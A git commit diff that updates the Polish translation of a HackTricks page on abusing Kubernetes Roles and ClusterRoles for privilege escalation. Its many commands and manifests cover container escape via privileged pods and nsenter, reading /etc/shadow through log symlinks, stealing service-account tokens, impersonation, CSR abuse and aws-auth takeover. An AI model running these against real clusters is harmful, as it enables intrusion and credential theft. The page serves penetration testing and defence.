mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/abusing-roles-
This commit is contained in:
+157
-134
@@ -1,23 +1,23 @@
|
||||
# Abusing Roles/ClusterRoles in Kubernetes
|
||||
# Nadużywanie Roles/ClusterRoles w Kubernetes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Tutaj możesz znaleźć potencjalnie niebezpieczne konfiguracje Roles i ClusterRoles.\
|
||||
Pamiętaj, że możesz uzyskać wszystkie obsługiwane zasoby za pomocą `kubectl api-resources`
|
||||
Tutaj znajdziesz kilka potencjalnie niebezpiecznych konfiguracji Roles i ClusterRoles.\
|
||||
Pamiętaj, że możesz uzyskać listę wszystkich obsługiwanych zasobów za pomocą `kubectl api-resources`
|
||||
|
||||
## **Podnoszenie Uprawnień**
|
||||
## **Privilege Escalation**
|
||||
|
||||
Odnosimy się do sztuki uzyskiwania **dostępu do innego podmiotu** w klastrze **z innymi uprawnieniami** (w obrębie klastra kubernetes lub do zewnętrznych chmur) niż te, które już posiadasz. W Kubernetes istnieją zasadniczo **4 główne techniki podnoszenia uprawnień**:
|
||||
Odnosząc się do sztuki uzyskania **dostępu do innego principal** w klastrze **o innych uprawnieniach** (w obrębie klastra kubernetes lub do zewnętrznych chmur) niż te, które już posiadasz, w Kubernetes zasadniczo istnieją **4 główne techniki eskalacji uprawnień**:
|
||||
|
||||
- Możliwość **podszywania się** pod innych użytkowników/grupy/SAs z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur
|
||||
- Możliwość **tworzenia/patchowania/uruchamiania podów**, gdzie możesz **znaleźć lub podłączyć SAs** z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur
|
||||
- Możliwość **czytania sekretów**, ponieważ tokeny SAs są przechowywane jako sekrety
|
||||
- Możliwość **ucieczki do węzła** z kontenera, gdzie możesz ukraść wszystkie sekrety kontenerów działających na węźle, dane uwierzytelniające węzła oraz uprawnienia węzła w obrębie chmury, w której działa (jeśli w ogóle)
|
||||
- Piątą techniką, która zasługuje na wzmiankę, jest możliwość **uruchomienia port-forward** w podzie, ponieważ możesz uzyskać dostęp do interesujących zasobów w tym podzie.
|
||||
- Mieć możliwość **impersonate** innych user/groups/SAs z wyższymi uprawnieniami w klastrze Kubernetes lub w zewnętrznych chmurach
|
||||
- Mieć możliwość **create/patch/exec pods**, w których możesz **znaleźć lub attach SAs** z wyższymi uprawnieniami w klastrze Kubernetes lub w zewnętrznych chmurach
|
||||
- Mieć możliwość **read secrets**, ponieważ tokeny SAs są przechowywane jako secrets
|
||||
- Mieć możliwość **escape to the node** z kontenera, gdzie możesz ukraść wszystkie secrets kontenerów działających na node, poświadczenia node oraz uprawnienia node w chmurze, w której działa (jeśli istnieją)
|
||||
- Piątą techniką wartą wspomnienia jest możliwość **run port-forward** w pod, ponieważ możesz uzyskać dostęp do interesujących zasobów wewnątrz tego podu.
|
||||
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
**dziki znak (\*) daje uprawnienia do dowolnego zasobu z dowolnym czasownikiem**. Jest używany przez administratorów. W obrębie ClusterRole oznacza to, że atakujący mógłby nadużyć anynamespace w klastrze
|
||||
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +29,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### Uzyskaj dostęp do dowolnego zasobu za pomocą konkretnego czasownika
|
||||
### Dostęp do dowolnego zasobu z określonym verb
|
||||
|
||||
W RBAC niektóre uprawnienia niosą ze sobą istotne ryzyko:
|
||||
W RBAC niektóre uprawnienia niosą poważne ryzyko:
|
||||
|
||||
1. **`create`:** Przyznaje możliwość tworzenia dowolnego zasobu klastra, co stwarza ryzyko eskalacji uprawnień.
|
||||
2. **`list`:** Umożliwia wyświetlanie wszystkich zasobów, co może prowadzić do wycieku wrażliwych danych.
|
||||
3. **`get`:** Pozwala na dostęp do sekretów z kont serwisowych, co stanowi zagrożenie dla bezpieczeństwa.
|
||||
1. **`create`:** Umożliwia tworzenie dowolnego zasobu klastra, co może prowadzić do eskalacji uprawnień.
|
||||
2. **`list`:** Pozwala na listowanie wszystkich zasobów, co może spowodować leak wrażliwych danych.
|
||||
3. **`get`:** Umożliwia dostęp do secrets należących do service accounts, co stanowi zagrożenie bezpieczeństwa.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
Atakujący z uprawnieniami do tworzenia poda mógłby dołączyć uprzywilejowane Konto Usługi do poda i ukraść token, aby podszyć się pod Konto Usługi. Efektywnie eskalując uprawnienia do niego.
|
||||
Atakujący mający uprawnienia do tworzenia podów może dołączyć uprzywilejowany Service Account do poda i ukraść token, aby podszyć się pod ten Service Account, efektywnie eskalując jego uprawnienia.
|
||||
|
||||
Przykład poda, który ukradnie token konta usługi `bootstrap-signer` i wyśle go do atakującego:
|
||||
Przykład poda, który ukradnie token Service Account `bootstrap-signer` i wyśle go do atakującego:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -74,12 +74,12 @@ hostNetwork: true
|
||||
```
|
||||
### Pod Create & Escape
|
||||
|
||||
Poniżej przedstawiono wszystkie uprawnienia, jakie może mieć kontener:
|
||||
Poniżej przedstawiono wszystkie uprawnienia, które może mieć kontener:
|
||||
|
||||
- **Dostęp uprzywilejowany** (wyłączanie zabezpieczeń i ustawianie możliwości)
|
||||
- **Wyłączenie przestrzeni nazw hostIPC i hostPid**, co może pomóc w eskalacji uprawnień
|
||||
- **Wyłączenie przestrzeni nazw hostNetwork**, co daje dostęp do kradzieży uprawnień chmurowych węzłów i lepszego dostępu do sieci
|
||||
- **Zamontowanie hostów / wewnątrz kontenera**
|
||||
- **Privileged access** (wyłączanie zabezpieczeń i ustawianie uprawnień (capabilities))
|
||||
- **Disable namespaces hostIPC and hostPid** które mogą pomóc w eskalacji uprawnień
|
||||
- **Disable hostNetwork** namespace, umożliwiając przejęcie uprawnień węzłów w chmurze oraz lepszy dostęp do sieci
|
||||
- **Mount hosts /** wewnątrz kontenera
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -115,19 +115,19 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
Utwórz pod z:
|
||||
Utwórz pod za pomocą:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Jednozdaniowy z [tego tweeta](https://twitter.com/mauilion/status/1129468485480751104) oraz z dodatkami:
|
||||
One-liner z [this tweet](https://twitter.com/mauilion/status/1129468485480751104) i z kilkoma dodatkami:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Teraz, gdy możesz uciec do węzła, sprawdź techniki poeksploatacyjne w:
|
||||
Teraz, gdy możesz uciec na node sprawdź techniki post-exploitation w:
|
||||
|
||||
#### Stealth
|
||||
|
||||
Prawdopodobnie chcesz być **bardziej dyskretny**, na następnych stronach możesz zobaczyć, do czego będziesz miał dostęp, jeśli stworzysz pod, włączając tylko niektóre z wymienionych uprawnień w poprzednim szablonie:
|
||||
You probably want to be **stealthier**, w poniższych stronach możesz zobaczyć, do czego miałbyś dostęp jeśli utworzysz pod włączając tylko niektóre z wymienionych uprawnień w poprzednim szablonie:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,14 +136,14 @@ Prawdopodobnie chcesz być **bardziej dyskretny**, na następnych stronach może
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Możesz znaleźć przykład, jak stworzyć/wykorzystać poprzednie konfiguracje podów z uprawnieniami w_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_Przykłady, jak tworzyć/wykorzystywać powyższe konfiguracje uprzywilejowanych podów znajdziesz w_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
Jeśli możesz **stworzyć** **pod** (i opcjonalnie **konto usługi**), możesz być w stanie **uzyskać uprawnienia w środowisku chmurowym** poprzez **przypisanie ról chmurowych do poda lub konta usługi** i następnie uzyskanie do niego dostępu.\
|
||||
Co więcej, jeśli możesz stworzyć **pod z przestrzenią nazw sieci hosta**, możesz **ukraść rolę IAM** instancji **węzła**.
|
||||
Jeśli możesz **utworzyć** a **pod** (a opcjonalnie **service account**) możesz być w stanie **uzyskać uprawnienia w środowisku chmurowym** poprzez **przypisanie cloud roles do poda lub service account** i następnie dostęp do nich.\
|
||||
Ponadto, jeśli możesz utworzyć **pod z przestrzenią nazw sieci hosta** możesz **ukraść rolę IAM** instancji **node**.
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
@@ -151,9 +151,9 @@ pod-escape-privileges.md
|
||||
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
Możliwe jest nadużycie tych uprawnień do **stworzenia nowego poda** i uzyskania uprawnień, jak w poprzednim przykładzie.
|
||||
Można nadużyć tych uprawnień, aby **utworzyć nowy pod** i **eskalować uprawnienia** jak w poprzednim przykładzie.
|
||||
|
||||
Poniższy yaml **tworzy daemonset i eksfiltruje token SA** wewnątrz poda:
|
||||
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -191,32 +191,32 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** to zasób w kubernetes używany do **uruchamiania poleceń w powłoce wewnątrz poda**. Umożliwia to **uruchamianie poleceń wewnątrz kontenerów lub uzyskanie powłoki wewnątrz**.
|
||||
**`pods/exec`** to zasób w kubernetes używany do **uruchamiania poleceń w shellu wewnątrz poda**. Umożliwia to **wykonywanie poleceń wewnątrz kontenerów lub uzyskanie powłoki**.
|
||||
|
||||
Dlatego możliwe jest **dostanie się do poda i kradzież tokena SA**, lub wejście do uprzywilejowanego poda, ucieczka do węzła i kradzież wszystkich tokenów podów w węźle oraz (nadużycie) węzła:
|
||||
Dlatego możliwe jest **dostanie się do poda i kradzież tokena SA**, lub wejście do uprzywilejowanego poda, ucieczka na node i kradzież wszystkich tokenów podów na tym node oraz (ab)use node'a:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> Domyślnie polecenie jest wykonywane w pierwszym kontenerze poda. Uzyskaj **wszystkie kontenery w podzie** za pomocą `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`, a następnie **wskaż kontener**, w którym chcesz je wykonać, używając `kubectl exec -it <pod_name> -c <container_name> -- sh`.
|
||||
> Domyślnie polecenie jest wykonywane w pierwszym kontenerze w podzie. Pobierz **wszystkie kontenery w podzie** za pomocą `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`, a następnie **wskaż kontener**, w którym chcesz je uruchomić, używając `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
|
||||
Jeśli to kontener bez dystrybucji, możesz spróbować użyć **wbudowanych poleceń powłoki**, aby uzyskać informacje o kontenerach lub przesłać własne narzędzia, takie jak **busybox**, używając: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
Jeśli to distroless container, możesz spróbować użyć **shell builtins**, aby uzyskać informacje o kontenerach lub wgrać własne narzędzia, np. **busybox**, używając: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
To uprawnienie pozwala na **przekierowanie jednego lokalnego portu do jednego portu w określonym podzie**. Ma to na celu ułatwienie debugowania aplikacji działających wewnątrz poda, ale atakujący może to wykorzystać, aby uzyskać dostęp do interesujących (jak DB) lub podatnych aplikacji (web?) wewnątrz poda:
|
||||
To uprawnienie pozwala **przekierować jeden lokalny port na jeden port w określonym podzie**. Służy to ułatwieniu debugowania aplikacji działających wewnątrz poda, ale atakujący może to nadużyć, aby uzyskać dostęp do interesujących (np. DBs) lub podatnych aplikacji (webs?) wewnątrz poda:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
As [**wskazano w tym badaniu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), jeśli możesz uzyskać dostęp lub utworzyć pod z **zamontowanym katalogiem `/var/log/` hosta**, możesz **uciec z kontenera**.\
|
||||
Dzieje się tak głównie dlatego, że gdy **Kube-API próbuje uzyskać logi** kontenera (używając `kubectl logs <pod>`), **żąda pliku `0.log`** podu za pomocą punktu końcowego `/logs/` usługi **Kubelet**.\
|
||||
Usługa Kubelet udostępnia punkt końcowy `/logs/`, który zasadniczo **udostępnia system plików `/var/log` kontenera**.
|
||||
As [**wskazano w tym badaniu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), jeśli możesz uzyskać dostęp do poda lub utworzyć poda z zamontowanym katalogiem `/var/log/` hosta, możesz **uciec z kontenera**.\
|
||||
Dzieje się tak, ponieważ gdy **Kube-API próbuje pobrać logi** kontenera (używając `kubectl logs <pod>`), żąda ono pliku `0.log` poda używając punktu końcowego `/logs/` usługi **Kubelet**.\
|
||||
Usługa Kubelet udostępnia punkt końcowy `/logs/`, który w praktyce **udostępnia system plików `/var/log` kontenera**.
|
||||
|
||||
Dlatego atakujący z **dostępem do zapisu w folderze /var/log/** kontenera mógłby nadużyć tego zachowania na 2 sposoby:
|
||||
W związku z tym atakujący mający **możliwość zapisu w katalogu /var/log/** kontenera może wykorzystać to zachowanie na 2 sposoby:
|
||||
|
||||
- Modyfikując plik `0.log` swojego kontenera (zwykle znajdujący się w `/var/logs/pods/namespace_pod_uid/container/0.log`), aby był **symlinkiem wskazującym na `/etc/shadow`** na przykład. Wtedy będziesz mógł wyeksfiltrować plik shadow hosta, wykonując:
|
||||
- Modyfikując plik `0.log` swojego kontenera (zwykle znajdujący się w `/var/logs/pods/namespace_pod_uid/container/0.log`) tak, aby był **symlinkiem wskazującym na `/etc/shadow`**, na przykład. Wtedy będziesz w stanie exfiltrate plik shadow hosta wykonując:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Jeśli atakujący kontroluje jakikolwiek podmiot z **uprawnieniami do odczytu `nodes/log`**, może po prostu utworzyć **symlink** w `/host-mounted/var/log/sym` do `/` i podczas **dostępu do `https://<gateway>:10250/logs/sym/` wyświetli system plików root** hosta (zmiana symlinka może zapewnić dostęp do plików).
|
||||
- Jeśli atakujący kontroluje dowolny principal z **uprawnieniami do odczytu `nodes/log`**, może po prostu utworzyć **symlink** w `/host-mounted/var/log/sym` wskazujący na `/` i przy **dostępie do `https://<gateway>:10250/logs/sym/` wyświetli system plików root hosta** (zmiana symlink może umożliwić dostęp do plików).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**Laboratorium i zautomatyzowany exploit można znaleźć w** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
**Laboratorium i zautomatyzowany exploit można znaleźć na** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### Ominięcie ochrony readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Omijanie ochrony readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Jeśli masz szczęście i wysoko uprzywilejowana zdolność `CAP_SYS_ADMIN` jest dostępna, możesz po prostu ponownie zamontować folder jako rw:
|
||||
Jeśli będziesz miał szczęście i wysoce uprzywilejowana capability `CAP_SYS_ADMIN` jest dostępna, możesz po prostu ponownie zamontować folder jako `rw`:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Obejście ochrony hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Omijanie hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Jak stwierdzono w [**tych badaniach**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), możliwe jest obejście ochrony:
|
||||
Jak stwierdzono w [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), możliwe jest obejście tej ochrony:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Który miał na celu zapobieganie ucieczkom, jak te poprzednie, poprzez zamiast używania montażu hostPath, użycie PersistentVolume i PersistentVolumeClaim do zamontowania folderu hosta w kontenerze z dostępem do zapisu:
|
||||
Co miało zapobiec ucieczkom podobnym do poprzednich — zamiast użycia hostPath mount użyto PersistentVolume i PersistentVolumeClaim, aby zamontować katalog hosts w kontenerze z dostępem do zapisu:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -298,16 +298,16 @@ volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
### **Podszywanie się pod uprzywilejowane konta**
|
||||
### **Podszywanie się pod konta uprzywilejowane**
|
||||
|
||||
Z uprawnieniem [**podszywania się pod użytkownika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), atakujący może podszyć się pod uprzywilejowane konto.
|
||||
Dysponując uprawnieniem [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), atakujący może podszyć się pod konto uprzywilejowane.
|
||||
|
||||
Wystarczy użyć parametru `--as=<username>` w poleceniu `kubectl`, aby podszyć się pod użytkownika, lub `--as-group=<group>`, aby podszyć się pod grupę:
|
||||
Wystarczy użyć parametru `--as=<username>` w poleceniu `kubectl`, aby podszyć się pod użytkownika, lub `--as-group=<group>` aby podszyć się pod grupę:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
```
|
||||
Lub użyj interfejsu API REST:
|
||||
Lub użyj REST API:
|
||||
```bash
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Impersonate-Group: system:masters"\
|
||||
@@ -315,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Listing Secrets
|
||||
### Listowanie sekretów
|
||||
|
||||
Uprawnienie do **wyświetlania sekretów może pozwolić atakującemu na rzeczywiste odczytanie sekretów** uzyskując dostęp do punktu końcowego REST API:
|
||||
Uprawnienie do **listowania sekretów może umożliwić atakującemu faktyczny odczyt ich zawartości** poprzez dostęp do REST API endpoint:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Tworzenie i Odczytywanie Sekretów
|
||||
### Tworzenie i odczytywanie Secrets
|
||||
|
||||
Istnieje specjalny rodzaj sekretu Kubernetes typu **kubernetes.io/service-account-token**, który przechowuje tokeny konta usługi. Jeśli masz uprawnienia do tworzenia i odczytywania sekretów, a także znasz nazwę konta usługi, możesz stworzyć sekret w następujący sposób, a następnie ukraść token konta usługi ofiary z niego:
|
||||
Istnieje specjalny rodzaj Kubernetes secret typu **kubernetes.io/service-account-token**, który przechowuje serviceaccount tokens.
|
||||
Jeśli masz uprawnienia do tworzenia i odczytywania secrets i znasz nazwę serviceaccount, możesz utworzyć secret w następujący sposób, a następnie ukraść z niego token serviceaccount ofiary:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -334,7 +335,7 @@ annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Przykład wykorzystania:
|
||||
Przykład eksploatacji:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
@@ -382,17 +383,19 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Zauważ, że jeśli masz pozwolenie na tworzenie i odczytywanie sekretów w danej przestrzeni nazw, konto serwisowe ofiary również musi znajdować się w tej samej przestrzeni nazw.
|
||||
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
|
||||
|
||||
### Odczyt sekretu – brutalne wymuszanie identyfikatorów tokenów
|
||||
### Odczyt secret – brute-forcing token IDs
|
||||
|
||||
Podczas gdy atakujący posiadający token z uprawnieniami do odczytu wymaga dokładnej nazwy sekretu, aby go użyć, w przeciwieństwie do szerszego przywileju _**wyświetlania sekretów**_, nadal istnieją luki. Domyślne konta serwisowe w systemie mogą być enumerowane, z każdym powiązanym z sekretem. Te sekrety mają strukturę nazwy: statyczny prefiks, a następnie losowy pięcioznakowy alfanumeryczny token (z wyłączeniem niektórych znaków) zgodnie z [kodem źródłowym](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Chociaż atakujący posiadający token z uprawnieniami do odczytu potrzebuje dokładnej nazwy secret, aby go użyć — w przeciwieństwie do szerszego uprawnienia _**listing secrets**_ — nadal istnieją luki.
|
||||
|
||||
Token jest generowany z ograniczonego zestawu 27 znaków (`bcdfghjklmnpqrstvwxz2456789`), a nie z pełnego zakresu alfanumerycznego. To ograniczenie redukuje całkowitą liczbę możliwych kombinacji do 14,348,907 (27^5). W związku z tym atakujący mógłby wykonać atak brutalny, aby wydedukować token w ciągu kilku godzin, co potencjalnie prowadzi do eskalacji uprawnień poprzez uzyskanie dostępu do wrażliwych kont serwisowych.
|
||||
Domyślne service accounts w systemie można wyliczyć, z których każdy jest powiązany z jednym secret. Te secrets mają strukturę nazwy: stały prefiks, po którym następuje losowy pięcioznakowy alfanumeryczny token (z wyłączeniem niektórych znaków) zgodnie z [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
### EncrpytionConfiguration w czystym tekście
|
||||
Token jest generowany z ograniczonego zestawu 27 znaków (`bcdfghjklmnpqrstvwxz2456789`), zamiast pełnego zakresu alfanumerycznego. To ograniczenie zmniejsza liczbę możliwych kombinacji do 14,348,907 (27^5). W konsekwencji atakujący mógłby wykonać atak brute-force w celu odgadnięcia tokena w ciągu kilku godzin, co potencjalnie prowadzi do eskalacji uprawnień przez dostęp do wrażliwych service accounts.
|
||||
|
||||
Możliwe jest znalezienie kluczy w czystym tekście do szyfrowania danych w spoczynku w tego typu obiektach jak:
|
||||
### EncrpytionConfiguration w postaci jawnej
|
||||
|
||||
W tego typu obiekcie można znaleźć klucze w postaci jawnej do szyfrowania danych w spoczynku, np.:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
@@ -449,11 +452,11 @@ keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### Certificate Signing Requests
|
||||
### Żądania podpisania certyfikatu
|
||||
|
||||
Jeśli masz czasowniki **`create`** w zasobie `certificatesigningrequests` (lub przynajmniej w `certificatesigningrequests/nodeClient`). Możesz **create** nowy CeSR dla **nowego węzła.**
|
||||
Jeśli masz uprawnienie **`create`** dla zasobu `certificatesigningrequests` (albo przynajmniej dla `certificatesigningrequests/nodeClient`), możesz **utworzyć** nowy CeSR dla **nowego node.**
|
||||
|
||||
Zgodnie z [dokumentacją, możliwe jest automatyczne zatwierdzanie tych żądań](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), więc w takim przypadku **nie potrzebujesz dodatkowych uprawnień**. Jeśli nie, musisz mieć możliwość zatwierdzenia żądania, co oznacza aktualizację w `certificatesigningrequests/approval` i `approve` w `signers` z resourceName `<signerNameDomain>/<signerNamePath>` lub `<signerNameDomain>/*`
|
||||
Zgodnie z [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), w takim przypadku **nie potrzebujesz dodatkowych uprawnień**. Jeśli nie, będziesz musiał móc zatwierdzić żądanie, co oznacza uprawnienie update do `certificatesigningrequests/approval` oraz `approve` w `signers` z resourceName `<signerNameDomain>/<signerNamePath>` lub `<signerNameDomain>/*`
|
||||
|
||||
Przykład **roli** z wszystkimi wymaganymi uprawnieniami to:
|
||||
```yaml
|
||||
@@ -486,19 +489,19 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Więc, z nowym zatwierdzonym CSR węzła, możesz **wykorzystać** specjalne uprawnienia węzłów do **kradzieży sekretów** i **eskalacji uprawnień**.
|
||||
Zatem, po zatwierdzeniu nowego node CSR, możesz **abuse** specjalne uprawnienia węzłów, aby **steal secrets** i **escalate privileges**.
|
||||
|
||||
W [**tym poście**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) i [**tym**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) konfiguracja GKE K8s TLS Bootstrap jest skonfigurowana z **automatycznym podpisywaniem** i jest wykorzystywana do generowania poświadczeń nowego węzła K8s, a następnie wykorzystywana do eskalacji uprawnień poprzez kradzież sekretów.\
|
||||
Jeśli **masz wspomniane uprawnienia, możesz zrobić to samo**. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu węzłowi dostęp do sekretów wewnątrz kontenerów, ponieważ **węzeł może uzyskać dostęp tylko do sekretów kontenerów zamontowanych na nim.**
|
||||
W [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) oraz [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) konfiguracja GKE K8s TLS Bootstrap ma włączone **automatic signing** i jest abused do wygenerowania poświadczeń nowego K8s Node, które następnie można abuse, aby escalate privileges i steal secrets.\
|
||||
Jeśli **masz wspomniane privileges, możesz zrobić to samo**. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu node dostęp do secrets wewnątrz kontenerów, ponieważ **node can only access the secrets of containers mounted on it.**
|
||||
|
||||
Sposób na obejście tego to po prostu **utworzenie poświadczeń węzła dla nazwy węzła, na którym zamontowany jest kontener z interesującymi sekretami** (ale sprawdź, jak to zrobić w pierwszym poście):
|
||||
Sposób obejścia polega po prostu na **create a node credentials for the node name where the container with the interesting secrets is mounted** (ale sprawdź, jak to zrobić w pierwszym poście):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Podmioty, które mogą modyfikować **`configmaps`** w przestrzeni nazw kube-system na klastrach EKS (muszą być w AWS), mogą uzyskać uprawnienia administratora klastra, nadpisując **aws-auth** configmap.\
|
||||
Potrzebne czasowniki to **`update`** i **`patch`**, lub **`create`**, jeśli configmap nie został utworzony:
|
||||
Podmioty, które mogą modyfikować **`configmaps`** w przestrzeni nazw kube-system na klastrach EKS (musi być w AWS) mogą uzyskać uprawnienia administratora klastra przez nadpisanie configmapy **aws-auth**.\
|
||||
Wymagane operacje to **`update`** i **`patch`**, lub **`create`** jeśli configmap jeszcze nie istnieje:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -538,18 +541,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> Możesz użyć **`aws-auth`** do **utrzymania** dostępu dla użytkowników z **innych kont**.
